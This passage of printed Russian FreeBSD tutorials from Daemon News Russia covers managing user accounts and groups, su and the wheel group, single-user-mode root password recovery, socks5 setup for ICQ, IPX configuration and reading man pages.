делают. vipw Эта программа слегка автоматизирует процесс описанный выше. Она сама запускает текстовый редактор, а, по выходу из редактора, pwd_mkdb. Облегчение состоит в том, что вам не надо помнить - какой файл вы редактируете и как правильно вызвать pwd_mkdb. Запись в master.passwd вам все равно придется составить самостоятельно. При этом не забудьте, что Name и userID должны быть уникальными для каждого юзера. http://www.freebsd.bip.ru/users.shtml (7 of 9)10.04.2004 17:23:58
Daemon News Russia
Важное замечание по поводу текстового редактора. Программа vipw сама редактором не является. Она запускает текстовый редактор, который задан переменной окружения EDITOR, а если таковой не найдет, то редактор vi. Причем, обычно, при установке FreeBSD в стартовых файлах для root эта переменная устанавливается, но это тот же vi. Дело в том, что работать с этим редактором без подготовки достаточно сложно. Поэтому, установите переменную EDITOR, выбрав свой любимый редактор. adduser Это самая "продвинутая" программа для добавления нового юзера. Она задает вопросы, касающиеся нового юзера, сама проверяет имя и user ID на уникальность (причем, для user ID она сама предложит подходящее значение), создает домашнюю директорию для юзера и копирует туда заготовки настроечных файлов, и даже может послать приветственное письмо вновь зарегистрированному юзеру. Естественно, она же делает запись в БД учетных карточек. Однако, если вам нужно зарегистрировать не обычного юзера, то она вам только помешает. Например, вам нужно зарегистрировать "почтового юзера". Для такого юзера не нужна домашняя директория (а тем более заготовки стартовых файлов) и Shell у этого юзера должен быть нестандартный. Так вот - заставить эту программу не делать домашнюю директорию очень трудно (если вообще возможно). Поэтому, в этой ситуации, вам придется подчищать за ней все лишнее, что она сделает. Как поменять данные в бюджете? Во-первых, для изменения секретного пароля юзера (поле Password) надо использовать специальную команду passwd <имя юзера> поскольку, в учетной карточке пароль хранится в зашифрованном виде и правильно изменить его текстовым редактором невозможно. Все остальные поля можно поменять с помощью утилиты vipw или chpass. Программа vipw позволяет редактировать запись непосредственно в файле master.passwd. Естественно, вы должны представлять себе формат этой записи (об этом можно прочитать в man 5 passwd). Несколько более удобной является утилита chpass. Она дает возможность редактировать конкретную учетную карточку юзера, имя которого вы укажете при запуске этой программы. Но, при этом, она выводит каждое поле карточки в отдельной строке с подсказкой - что какое поле означает. Login: NewUser Password: ..... Uid [#]: 1000 Gid [#]: 1000 ... и т.д. Особенно, программа chpass полезна, если вы захотите изменить Password change time (дату, когда система предложит юзеру поменять пароль) или Account expiration time (дату, после которой не пускать юзера в систему). Дело в том, что в самой учетной карточке эти даты хранятся в цифровом формате, понятном только самой системе, а chpass показывает и воспринимает их в "человеческом" виде (месяц, день, год).
http://www.freebsd.bip.ru/users.shtml (8 of 9)10.04.2004 17:23:58
Daemon News Russia
Заметьте, что vipw вообще не проверяет корректность данных, а chpass проверяют только отдельные поля (и то, иногда отделывается предупреждениями). Ни одна из них не проверяет на уникальность Name и user ID. Поэтому, пользуйтесь ими с осторожностью. И, наконец, опять замечание по поводу текстового редактора. Ни одна из описанных "полноэкранных" утилит не имеет своего редактора и вызывает тот редактор, который задан переменной окружения EDITOR (если таковой не обнаружится, используется редактор vi). Не забудьте указать, в качестве значения этой переменной, ваш любимый текстовый редактор.
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/users.shtml (9 of 9)10.04.2004 17:23:58
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Пользовательские бюджеты и группы (часть 2) новости
Как удалить пользователя? Что может поменять пользователь в своем бюджете? Как временно убрать пользователя (не удалить, но запретить вход)? Что такое группа? Где хранится информация о группах? Как создать или удалить группу? Как поменять принадлежность юзера к группе (группам)? Привилегированный пользователь Вопросы и ответы Упражнения Как удалить пользователя? С одной стороны, очень просто - удалите его бюджет из базы. Это можно сделать программой vipw - найдите соответствующую строчку и удалите ее. С другой стороны, в системе могут быть файлы, принадлежащие этому юзеру, а, также, имя юзера может встречаться в некоторых других файлах. Что надо удалить? Во-первых, домашнюю директорию юзера. Кстати, если администратор не предпринимал никаких действий, чтобы дать юзеру возможность писать в другие директории, то все файлы, которые мог "наплодить" юзер должны лежать в его Home dir. Если же вы дали юзеру права создавать файлы в других директориях (в публичном ftp архиве или в директории www сервера, например), то, возможно, надо "почистить" и там. Во-вторых, "почтовый ящик" юзера в директории /var/mail (или /var/spool/mail). Сделайте это обязательно, даже если юзер просил пока не удалять почту. Дело в том, что название этого файла совпадает с Name юзера, а права на чтение/запись определяются его user ID, и, естественно, должны соответствовать друг другу. Не вдаваясь в подробности, могу сказать, что если вы вскоре зарегистрируете нового пользователя с тем же user ID (он же освобождается), но с другим именем, или наоборот - с таким же именем, как у старого юзера, но с другим user ID, то у этого нового юзера возникнут серьезные проблемы с получением почты. В-третьих. Могут быть еще где-то раскиданы файлы, владельцем которых был этот юзер. Например, в директории /tmp, /usr/tmp, /var/tmp. Найти все эти файлы можно с помощью программы find. Например, так find / -user <юзер> (Обратите внимание, первый аргумент - директория, начиная с которой искать. В данном примере это корневая, то есть будут просмотрены все файлы в системе. С одной стороны это http://www.freebsd.bip.ru/users2.shtml (1 of 9)10.04.2004 17:24:05
Daemon News Russia
хорошо - ничего не пропустите, но, с другой стороны, если у вас стоит ньюс-сервер или огоромный ftp-архив, то ждать придется долго). С помощью этой же команды можно и удалить все найденные файлы find / -user <юзер> -delete однако, поскольку она не спрашивает подтверждения, этот метод очень опасный. Лучше уж заставить ее выполнять команду rm ( с подтверждением) для каждого найденного файла find / -user <юзер> -exec rm -i {} \; И, наконец, привожу небольшой список (скорее всего, неполный) - где еще могут остаться упоминания об этом юзере. в файлах /etc/group, /etc/login.access, /etc/ftpusers в таблицах программы sendmail: /etc/aliases и т.п. (virtusertable, genericstable и др.) если у вас отдельным юзерам разрешается запускать задачи с помощью cron, то юзер может упоминаться в /etc/crontab или в /var/cron/allow, /var/cron/deny, а, также, может быть его индивидуальная crontab в /var/cron/tabs/ если юзерам разрешается пользоваться пакетным выполнением программ, то юзер может упоминаться в /var/at/at.allow, /var/at/at.deny если у вас ведется квотирование дискового пространства, то должна быть quote для этого юзера если юзер пользуется IP связью через модем, то он может упоминаться в файлах, лежащих в / etc/sliphome или /etc/ppp от имени юзера могут запускаться какие-нибудь демоны (особенно это касается псевдо-юзеров), тогда имя юзера может быть в /etc/inetd.conf или /etc/rc.local. Итак, вы видите, что полное удаление юзера из системы в общем случае очень не простая задача. Однако, в большинстве случаев все гораздо проще. Самый простой способ удалить юзера Большую часть работы по удалению юзера (и всяческих упоминаний о нем) выполняет программа rmuser <имя юзера> Во всяком случае, кроме удаления бюджета, она удаляет его домашнюю директорию; его почтовый ящик в /var/mail; упоминания о юзере в /etc/group; персональную crontab юзера; пакетные задания юзера в /var/at/jobs. В большинстве случаев этого вполне достаточно. Что может поменять сам пользователь в своем бюджете? Естественно, любой юзер может поменять свой пароль (и даже желательно, чтобы он это делал время от времени). Делается это командой passwd, той же, которой пользуется администратор. Разница в том, что администратор может поменять пароль любому юзеру, вызвав эту команду с именем юзера в качестве аргумента. А обычный юзер может поменять только свой пароль. Кроме того, юзер, как и администратор, может воспользоваться программой chpass. Естественно, он может редактировать только свою учетную карточку. При этом, он сможет http://www.freebsd.bip.ru/users2.shtml (2 of 9)10.04.2004 17:24:05
Daemon News Russia
поменять в ней только поля Shell и General information (свое реальное имя, адрес, телефон). Как временно убрать пользователя (не удалить, но запретить вход)? Бывают такие ситуации, когда надо запретить юзеру пользоваться вашей машиной временно. Конечно, самый простой способ - удалить его учетную карточку, но не трогать остальные файлы. Однако, этот способ имеет кучу недостатков: - почта на несуществующего юзера будет возвращаться отправителю, - user ID этого юзера может достаться другому (новому юзеру), - при возвращении юзера в систему надо будет воспроизвести в точности ту же учетную карточку, - и т.п. Поэтому, этот способ - самый неудачный и его даже не стоит рассматривать. Лучше рассмотрим другие возможности: Первый способ Этот способ заключается в том, что в бюджет надо вписать "Account expiration time" (с помощью программы chpass), естественно, поставив там уже прошедшую дату. В этом случае, юзер как бы существует в системе - письма к нему идут, файлы сохраняются, во всех диагностиках, где может встретиться его имя, оно отображается правильно. Но, в то же время, если юзер попытается войти в систему, ему просто выдастся сообщение, что «ваш account истек». Однако, это способ тоже не лишен недостатков. Чтобы понять - почему, надо рассмотреть подробнее, что значит "доступ в систему" юзера. Обычный юзер может войти в систему (и пользоваться ее ресурсами) через терминал или по сети, с помощью telnet. При этом должна проработать программа login (которая проверит имя и пароль юзера и, если все правильно, запустит для него Shell). Эта же программа обычно вызывается для тех, кто заходит через модем и устанавливает IP соединение по модемной линии (PPP или SLIP). (Кстати, программе login можно запретить пропускать юзера, если прописать правильную строчку (запрещающую вход конкретному юзеру) в файле /etc/login. access. Как это правильно сделать, можно посмотреть в man login.access). Но, кроме того, юзер может (если, конечно, ваша система предоставляет такой сервис): иметь доступ к своим файлам через FTP, тогда проверкой имени/пароля занимается ftpd (программа-сервер FTP); читать свою почту через POP-сервер, тогда проверкой имени/пароля занимается программа popper (или другой РОР-сервер); иметь доступ к своей домашней директории через сервер samba, тогда проверкой имени/пароля занимается программа smbd; пользоваться удаленным запуском программ (rlogin, rsh и т.п.), тогда проверкой имени/пароля занимаются соответствующие демоны (rlogind, rshd и т.д.); Так вот. Проблема в том, что не все перечисленные демоны (программы-серверы), ответственные за допуск юзера к ресурсам, могут обращать внимание на "Account expiration time". И, следовательно, все равно дадут юзеру возможность воспользоваться своими услугами. Второй способ Другой способ "отсечь" юзера заключается в том, чтобы "испортить" ему пароль. Для этого достаточно добавить к зашифрованному паролю, хранящемуся в учетной карточке, один знак. Обычно, ставят знак " * " в начале пароля, поскольку этот знак не может встретиться в нормальном зашифрованном пароле и, во-первых, пароль в этом случае невозможно подобрать, а во-вторых, такое "искажение" пароля легче потом искать, когда вы будете возвращать юзера обратно. Сделать такую манипуляцию можно программой vipw или chpass. http://www.freebsd.bip.ru/users2.shtml (3 of 9)10.04.2004 17:24:05
Daemon News Russia
Этот способ надежно срабатывает во всех случаях, когда юзер пытается получить доступ в систему, независимо от того, через какую программу он это делает (он просто не знает теперь своего пароля). Недостаток этого способа в том, что он менее "цивилизованный". То есть, юзер просто получит сообщение о том, что он неправильно ввел свое имя или пароль, а не о том, что ему запрещен вход. Кроме того, есть случаи, когда этот способ не работает. Дело в том, что удаленные сервисы могут не проверять пароль, если у юзера в домашней директории в соответствующем файле (. rhosts) записаны адреса машин "пользующихся доверием" и он осуществляет доступ именно с этих машин. В этом случае, проверяется только адрес машины (и имя юзера под которым он зарегистрирован там), а пароль не запрашивается, следовательно, описанный метод не сработает. (Кстати, предыдущий метод «account expiration» в этом случае должен работать.) Так как же все таки надо поступить? Способ с «испорченным» паролем более универсальный, но все-таки неправильный. Самый правильный путь - подбирать всех демонов таких, которые правильно отрабатывают запрет входа (например, через "account expiration"). Кстати, те демоны, которые у Вас из «родного» дистрибутива, должны правильно обрабатывать такой запрет. Проблемы могут возникнуть только с программами от других разработчиков. Кроме того, для юзеров, запускающих "IP по модему", обычно, другой способ входа недоступен. Поэтому можно смело пользоваться "account expiration" или запретом в /etc/login.access. Ну и хочу напомнить, что "не стесняйтесь" читать man- страницы, там все очень хорошо описано. man 5 passwd - описывает структуру учетной карточки (user account) man adding_user - общие слова о добавлении юзера. Кстати, там есть рекомендации - каким должно быть Login name man pwd_mkdb man vipw man adduser man passwd - изменение пароля man chpass - другие изменения в учетной карточке man rmuser man login.access man login.conf А, также, в каждом из них есть раздел See Also (смотри также...). Их тоже можно почитать, хотя, в основном, они все ссылаются друг на друга. Что такое группа? Группа - это группа (из юзеров). Тавтология конечно, но это самое точное определение. В системах Unix все юзеры объединяются в группы. Причем, каждый юзер входит по крайней мере в одну группу, но может быть "членом" нескольких различных групп. Как и индивидуальные юзеры, каждая группа имеет свое имя (group name) и числовой номер (groupID). Естественно, они однозначно соответствуют друг другу. Так же, как и для индивидуальных юзеров, groupID используется внутри системы, а имя (group name) при вводе и http://www.freebsd.bip.ru/users2.shtml (4 of 9)10.04.2004 17:24:05
Daemon News Russia
выводе сообщений для пользователей (хотя, в большинстве команд, можно указывать вместо имени и groupID). В основном, группы (юзеров) используются при определении прав доступа к различным файлам и директориям. Не вдаваясь в подробности, можно сказать, что для каждого файла (директории) в Unix'е существует его владелец (это один из юзеров) и группа «особо допущенных» к этому файлу (директории). При этом владелец файла может задать права доступа к нему (чтение, запись и т.п.) разные для себя, группы "допущенных" и для всех остальных (не входящих в эту группу). Естественно, сам состав групп (список индивидуальных юзеров, входящих в группу) хранится в соответствующей базе данных, а к файлам "привязывается" только номер группы (groupID). Где хранится информация о группах? Здесь есть маленькая тонкость. На самом деле надо рассмотреть два вопроса: Где хранится имя и номер группы? Как определяется список "членов" группы? Где хранится имя и номер группы? В файле /etc/group. Это просто текстовый файл, в котором каждая строчка описывает одну группу. Отдельные поля разделяются двоеточием. Назначение полей: имя группы (group name) пароль группы (group passwd) номер группы (group ID) список (через запятую) юзеров, входящих в группу (group members). Поле "пароль группы" в системе FreeBSD пока никакими программами не используется, и там обычно ставится звездочка " * ". Таким образом, файл /etc/group определяет - какие группы существуют в данной системе и устанавливает соответствие между именем и номером группы. А, что касается принадлежности юзеров определенной группе, то этот вопрос немного сложнее. Как определяется список членов группы? Каждый юзер должен входить, по крайней мере, в одну группу. Эта группа (точнее ее groupID) прописывается в бюджете юзера (user account), в поле groupID (см. Какие данные хранятся в бюджете пользователя?). А, чтобы тот же юзер стал членом еще какой-нибудь группы, его можно записать (его login name) непосредственно в файл /etc/group, в поле "group members" (см. выше), соответствующей группы. Таким образом, членами какой-либо группы являются юзеры, которые перечисленные в файле /etc/group в списке юзеров этой группы юзеры, в учетной карточке которых, стоит groupID этой группы. Как создать или удалить группу? Это достаточно просто сделать "вручную". Файл /etc/group, хранящий информацию о группах имеет простой формат и его можно менять любым текстовым редактором. Просто добавьте строчку, создав ее по образу и подобию тех, которые там уже есть. Только http://www.freebsd.bip.ru/users2.shtml (5 of 9)10.04.2004 17:24:05
Daemon News Russia
подберите groupID такой, который не используется другими группами. Для удаления группы, просто удалите соответствующую строчку. Проблемы могут возникнуть только, если у вас слишком много разных групп и вам будет трудно ориентироваться в тексте. Тогда вам, возможно, помогут специальные программы. Программы addgroup и rmgroup. Назначение этих программ понятно из названия. addgroup добавляет группу в список групп. Достоинство этого способа (в отличии от добавления группы вручную) заключается только в том, что эта программа может сама подобрать для вновь создаваемой группы groupID, который пока не используется другими группами. Ну и, естественно, не сделает никаких ошибок в /etc/group. Хотя формат /etc/group настолько простой, что там трудно ошибиться. Кроме того, эта программа может использоваться для того, чтобы добавить юзера (юзеров) в список членов заданной группы. rmgroup - удаляет заданную группу из /etc/group. Достоинство этого способа в том, что вам не придется искать нужную строчку в файле /etc/group. Кроме того, она не даст вам удалить те группы, которые имеют "жизненно важное значение" для системы. Естественно, более подробно об этих программах можно почитать: man addgroup man rmgroup Программа pw. Программа pw - универсальная утилита для администрирования (создания, удаления, изменения, просмотра) и юзеров и групп. Мы не будем рассматривать ее в данном курсе, а оставим Вам для самостоятельного изучения !!! О безопасности. Файл /etc/group по умолчанию может читаться всеми юзерами, а изменять его может только root (администратор системы). Не надо менять эти условия. Поскольку группы (юзеров) определяют дополнительные права доступа к файлам и директориям других юзеров, у некоторых из них (юзеров) могут возникнуть желания (и реальная необходимость) образовывать новые группы, в которые входили бы только близкие друзья какого-либо юзера, но не входили все остальные. Естественно, при обычных условиях, рядовой юзер не сможет создать новую группу для себя и своих друзей. Для этого ему придется обращаться к root. Так вот, даже если есть реальная необходимость некоторым юзерам (не имеющим прав администратора) время от времени создавать новые группы или менять "список членов" какойлибо группы, не надо давать им право менять содержимое /etc/group. Это сильно ослабит безопасность системы!!! (Если такая необходимость действительно существует, лучше решать эту проблему, написав специальную программу, которая позволит отдельным юзерам изменять некоторые группы.) Как поменять принадлежность юзера к группе (группам)? Это зависит от того, о какой группе идет речь. Если вы хотите поменять ему основную группу (первичную), то надо исправить соответствующее http://www.freebsd.bip.ru/users2.shtml (6 of 9)10.04.2004 17:24:05
Daemon News Russia
поле (group ID) в его бюджете (user account). Кстати, если вы проделаете такую операцию с реальным юзером, не забудьте, что его домашняя директория и файлы, находящиеся в ней принадлежат группе, в которой раньше находился юзер. Так что, очень желательно поменять соответствующий атрибут у всех файлов и директорий этого юзера. Если же вы хотите добавить юзера еще в какую-нибудь группу или, наоборот, исключить его из членов группы (не первичной для этого юзера), то исправления надо делать в файле /etc/group в поле "group members" соответствующей группы. Как и в случае создания группы это можно сделать либо просто отредактировав файл /etc/group вашим любимым редактором, либо воспользоваться специальными утилитами, теми же, что и для создания групп. addgroup Комманда addgroup может использоваться не только для создания новой группы, но и для добавления юзера в существующую группу. Например, команда addgroup games doom добавит юзера doom в группу games. Пожалуй, это тот редкий случай, когда проще воспользоваться специальной командой, чем редактировать файл /etc/group. Но будьте осторожны - если вы случайно ошибетесь в названии группы, эта команда молча создаст новую группу и впишет юзера в нее. pw groupmod Изучите работу этой команды самостоятельно !!! Надо заметить, что описанные команды хорошо добавляют юзеров в группы, но не приспособлены для удаления определенного юзера из определенной группы. Правда, у команды pw groupmod есть ключ -M, который означает полностью заменить список членов группы на тех юзеров, которых вы и укажете (через запятую) после ключа -M. Однако, понятно, что удалять одного конкретного юзера из длинного списка членов таким способом - не очень удачное решение. В общем, для удаления юзера из списка членов какой-либо группы, удобнее всего пользоваться обычным текстовым редактором. Привилегированный пользователь Системным администраторам приходится отменять действие защитных механизмов UNIX в самых разных ситуациях. Для обеспечения такой возможности система выделяет среди всех идентификаторов пользователей один особый, нулевой, который принадлежит привилегированному пользователю. По соглашению UNIX-системы определяют для этого UID пользовательский бюджет под именем "root". Вот примеры операций, которые может выполнить только привилегированный пользователь: монтирование и демонтирование файловых систем; изменение командой chroot корневого каталога процесса; создание файлов устройств; установка системных часов; изменение принадлежности файлов; увеличение лимитов использования ресурсов и назначение приоритетов процессов; задание host-имени системы;
http://www.freebsd.bip.ru/users2.shtml (7 of 9)10.04.2004 17:24:05
Daemon News Russia
конфигурирование сетевых интерфейсов; остановка системы. Примером возможностей привилегированного пользователя может служить способность принадлежащего ему процессора изменять по своему усмотрению параметры принадлежности. Один из таких случаев - программа login; процесс, который приглашает Вас при входе в систему ввести свой пароль. Он изначально выполняется как корневой. Если веденные имя и пароль пользователя правильны, то login заменяет свои UID и GID соответствующими идентификаторами указанного пользователя и запускает интерпретатор команд shell. После того как корневой процесс, изменив свою принадлежность, станет обычным пользовательским процессором, восстановить свое предыдущее привилегированное состояние он не сможет. sСуществует несколько способов доступа к бюджету привилегированного пользователя. Самый простой из них - зарегистрироваться под именем root. К сожалению, выход из собственного бюджета и регистрация в качестве привилегированного пользователя часто очень неудобны. Лучше использовать команду su. Будучи вызванной без аргументов, эта команда пригласит Вас ввести пароль привилегированного пользователя, а затем запустит shell с правами привилегированного пользователя. Привилегии этого интерпретатора команд остаются в силе до завершения его работы. Команда su также может подставлять вместо root имена других пользователей. Зная чей-либо пароль, можно непосредственно войти в его бюджет, выполнив команду su <имя пользователя>. Как и при входе в бюджет root, система запросит пароль пользователя <имя пользователя>. Рекомендуется взять за правило при вводе команды использовать полное путевое имя /bin/su, а не просто su. Это в какой-то мере защитит Вас от тех программ с именем su, которые проскользнули в ваш путь поиска, намереваясь собрать хороший урожай паролей. Важное замечание: Использовать команду su могут только члены группы wheel. Вопросы и ответы. Вопрос: Как проще всего добавить пользователя? Ответ: Используйте команду adduser. Для выполнения более сложных операций обратитесь к команде pw. Чтобы удалить пользователя, используйте команду rmuser. Вопрос: Я забыл пароль администратора! Что мне делать? Ответ: Просто перезапустите систему, наберите -s в приглашении Boot: (Boot: -s) для входа в однопользовательский режим. На вопрос об используемой оболочке нажмите ENTER. На приглашение # введите mount -u /, чтобы перемонтировать корневую файловую систему в режиме чтения/записи, после чего выполните команду mount -a для монтирования всех файловых систем. Запустите команду passwd root, чтобы сменить пароль администратора и затем exit для продолжения процесса загрузки Вопрос: Почему на ввод команды su выдаётся сообщение о том, что я не могу ею пользоваться? Ответ: Вы не являетесь членом группы wheel. Отредактируйте файл /etc/group (для этого надо войти в систему как root), добавив в строку wheel:*:0:root через запятую свой login (wheel:*:0: root, mylogin) Упражнения. http://www.freebsd.bip.ru/users2.shtml (8 of 9)10.04.2004 17:24:05
Daemon News Russia
1. Добавьте юзера theUser с помощью команды adduser, установив ему в качестве shell – /bin/ csh. 2. С помощью команды vipw установите ему в качестве shell - /usr/local/bin/bash. 3. Войдите в систему под именем theUser. Какое приглашение от системы Вы видите? (bash-2.02 $). 4. Удалите юзера theUser (сначала командой rmuser, потом создайте снова и удалите с помощью vipw). 5. Изучите работу команды pw (man pw).
http://www.freebsd.bip.ru/users2.shtml (9 of 9)10.04.2004 17:24:05
(c) 2001-2002 Daemon News Russia
Daemon News Russia
новости \\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Настраиваем socks5 для работы с ICQ
Установим sock5: # cd /usr/ports/net/socks5 && make install Напишем конфигурационный файл: --- /usr/local/etc/socks5.conf --# socks5.conf - configuration file for socks version 5 server # http://www.socks.nec.com # ban host entries # ban - # variable entries auth - - n # выключаем авторизацию SET SOCKS5_CONFFILE /usr/local/etc/socks5.conf # указываем в явном виде где находится конфигурационный файл # SET SOCKS5_DEMAND_IDENT # SET SOCKS5_ENCRYPT # SET SOCKS5_FORCE_ENCRYPT # SET SOCKS5_IDENTFILE filename # SET SOCKS5_MAXCHILD val # SET SOCKS5_NOIDENT # SET SOCKS5_NOINTCHK # SET SOCKS5_NONETMASKCHECK SET SOCKS5_NOREVERSEMAP SET SOCKS5_NOSERVICENAME # эти две опции в последних версиях отсутствуют... # SET SOCKS5_PASSWD [password] # SET SOCKS5_PIDFILE filename # SET SOCKS5_PWDFILE /etc/socks5.passwd # SET SOCKS5_TIMEOUT minutes SET SOCKS5_UDPPORTRANGE 1023-5000 # список портов с которых разрешено посылать UDP пакеты SET SOCKS5_V4SUPPORT # включаем поддержку протокола socks4 # SET SOCKS5_USER [userid] # proxy entries noproxy - # access control entries # deny - - - - - #permit n,u - 192.168.0. - - permit - - 192.168.0.1 - - # разрешаем проброс пакетов с адреса 192.168.0.1 http://www.freebsd.bip.ru/soks5toicq.shtml (1 of 2)10.04.2004 17:24:07
Daemon News Russia
# EOF --- /usr/local/etc/socks5.conf --Опция SOCKS5_V4SUPPORT необходима для совместимости с некоторыми IRC-клиентами. ВНИМАНИЕ! Для правильной работы socks5 необходим DNS. Домашняя страница socks5: http://www.socks.nec.com Домашняя страница ICQ: http://www.mirabilis.com
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/soks5toicq.shtml (2 of 2)10.04.2004 17:24:07
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Конфигурация IPX под FreeBSD новости
Для начала нам нада включить поддержку IPX в ядре.В принципе это самый лёгкий процес установки.Надеюсь про то как конфигурировать ядро вы уже знаете,если же не, то можно почитать в Handbooke как это делать.Так вот,подержка IPX включается баналбным добавлением одной строки в конфигурационный фаил ядра: options IPX После того как вы добавили эту строку в конфигурационный фаил ядра ,можно компилировать, устанавливать ядро и перезагружать машину...... IPXrouted(только для 2.2.8) Распакуйте архив ipxrt.tgz ,наберите make.После того как всё это дело у вас откомпилилось можно записать фаил IPXrouted в каталог /usr/sbin КОНФИГУРАЦИЯ Ifconfig Для начала отконфигурим IfConfig...Парамтры для команды ifconfig можно указать в файле rc. conf.Например это будет выглядить так: ifconfig_ed0_ipx="ipx 0x102" Ну а если ты хочеш побольше заморочек, то можно и в ручную.(хотя говорят что в ручную надёжнее) Ну в любом случае синтаксис команды будет выглядеть так: ifconfig ifname ipx netnum[.nodenum] netnum - номер IPX сетки про .nodenum будет рассказиваться далее В принципе IPX протокол можно сконфигурировать на любом Ethernet-интерфейсе, либо на lo0.В случае с lo0 создаётся так называемая internalnet.При выборе может быть два случая.Первый , когда в сети есть NetWare-подобные серверы,второй соответственно когда нет.В первым случае нужно использовать тот намер сети , который был установлен в процесе конфигурации фрейма Ethernet_II на сервере NetWare.Кстати надо заметить , что в конфигурационых файлах NetWare номера сети указываются в шестнацатеричном виде.Во втором случае всё гораздо проще,номер может быть произвольным, только стоит избегать номеров 1 и 0. Так вот, внутренюю сетку надо конфигурировать только тогда, когда на данной машине будет работать Mars_nwe сервер.Например если на интерфейсе ED2, HEX номер сетки 101 , нам нужна внутреняя сеть0xBEBE: ifconfig ed2 ipx 0x101 ifconfig lo0 ipx 0xbebe.1 Номер хоста 1 с конце второй строки обязателен, и нежелательно устанавливать его отличным от данного.Проверка:если всё работает нормально то при выполнение команды netstat-fipx-r у вас на мониторе должно появиться примерно следующее:IPX: Destination Gateway Flags Refs Use Netif bebe.* bebe.1 U 2 10 lo0 101.* 101.4095004302 U 9 28069 ed2 Замечу ешё одно,если в колонкке Gateway будет нарисовано 101.*то следует в комаде ifconfig установит параметр nodenum такойже как MACадрес ситевой(Ethernet)карты. IPXrouted IPXrouted - десон , который используется для установки таблиц маршрутизации и отвечает на SAP/RIP запросы.IPXrouted должен быть запущен после того как вы сконфигурировали все http://www.freebsd.bip.ru/ipx.shtml (1 of 2)10.04.2004 17:24:08
Daemon News Russia
интерфейсы и до любого IPX приложеня.На клиентской машине он может быть запуше с ключом -q , для того что избавиться от лишних RIP пакетов.
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/ipx.shtml (2 of 2)10.04.2004 17:24:08
Daemon News Russia
новости
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
Работа с man- страницами Man-страницы в системах семейства UNIX – это аналог Help- систем в Microsoft Windows. Man-страницы (их название говорит о том, что эти страницы предназначены для работы с командой man) содержат полное описание отдельных команд, форматов файлов и библиотечных подпрограмм. Обычно они доступны в диалоговом режиме (on-line). Во всех UNIX-системах man-страницы делятся на разделы. Номера разделов man-страниц и описание их содержимого для ОС FreeBSD приведены ниже: Команды и прикладные программы пользовательского уровня. Системные вызовы и коды ошибок ядра. Библиотечные вызовы. Драйверы устройств и сетевые протоколы. Стандартные форматы файлов. Игры и демонстрационные программы. Различные файлы и документы. Команды системного администрирования. Команда man <заголовок> форматирует конкретную страницу документации и посылает ее на терминал пользователя посредством программы more или другой программы, которая задана в переменной среды PAGER. Аргумент <заголовок> - это, как правило, имя команды, устройство или имя файла, о которых необходимо получить справочную информацию. Поиск по разделам руководства осуществляется в порядке возрастания номеров, но разделы, описывающие команды (1 и 8), обычно просматриваются в первую очередь. Команда man <раздел> <заголовок> вызывает man-страницу из указанного раздела. Так, команда man tty читает man-страницу для команды tty, а команда man 4 tty – man-страницу для последовательного драйвера. Почти все версии команды man проверяют, определили ли Вы переменную среды MANPATH, которая должна содержать разделенный двоеточиями список каталогов, если такой существует. С помощью переменной MANPATH можно отменить или расширить список каталогов, в которых производит поиск команда man. Например, командой setenv MANPATH /home/user/myman:/usr/share/man в файле .login, .cshrc, .shrc или .profile (эти файлы выполняются при регистрации пользователя в системе в зависимости от shell пользователя) Вашего каталога можно указать команде man провести поиск сначала в иерархии локальных man-страниц, а затем в /usr/share/man. Версия этой команды в sh или bash будет иметь такой вид: MANPATH = /home/user/myman:/usr/share/man
http://www.freebsd.bip.ru/man.shtml (1 of 3)10.04.2004 17:24:10
Daemon News Russia
export MANPATH Команда man –k <ключевое_слово> печатает список man-страниц, в строке пояснений к которым имеется <ключевое_слово>. Пример: man –k mail aliases(5) - aliases file for sendmail biff(1) - be notified if mail arrives and who it is from ctm_smail(1), ctm_rmail(1) - send and receive ctm deltas via mail forward(5) - mail forwarding instructions from(1) - print names of those who have sent mail mail(1) - send and receive mail mail.local(8) - store mail in a mailbox mailaddr(7) - mail addressing description mailq(1) - print the mail queue mailstats(8) - display mail statistics makemap(8) - create database maps for sendmail msgs(1) - system messages and junk mail program newaliases(1) - rebuild the data base for the mail aliases file praliases(8) - display system mail aliases rmail(8) - handle remote mail received via uucp sendmail(8) - an electronic mail transport agent smrsh(8) - restricted shell for sendmail База данных ключевых слов обычно хранится в файле whatis в корневом каталоге иерархии manстраниц (/usr/share/man). Если в систему вводятся дополнительные man-страницы, то, возможно, потребуется модифицировать этот фал с помощью catman –w. Наберите man whatis, и Вы увидите: APROPOS(1) FreeBSD General Commands Manual APROPOS(1) NAME apropos, whatis - search the whatis database SYNOPSIS apropos _k_e_y_w_o_r_d ... whatis _k_e_y_w_o_r_d ... DESCRIPTION
http://www.freebsd.bip.ru/man.shtml (2 of 3)10.04.2004 17:24:10
Daemon News Russia
apropos searches a set of database files containing short descriptions of system commands for keywords and displays the result on the standard output. whatis displays only complete word matches. RETURN VALUES The apropos utility exits 0 on success, and 1 if no keyword matched. SEE ALSO man(1), makewhatis(1) BSD Jan 15, 1991 1 Теперь посмотрим на вывод команды whatis man: catman(1) - preformat man pages man(1) - format and display the on-line manual pages man(7) - quick reference guide for the -man macro package manpath(1) - determine user's search path for man pages pod2man(1) - translate embedded Perl pod directives into man pages Теперь Вы вооружились хорошим средством изучения различной документации в системе. Почаще обращайтесь к man- страницам, и Вы поймете, насколько легче «вгрызаться» в дебри администрирования FreeBSD.
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/man.shtml (3 of 3)10.04.2004 17:24:10
Daemon News Russia
новости
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
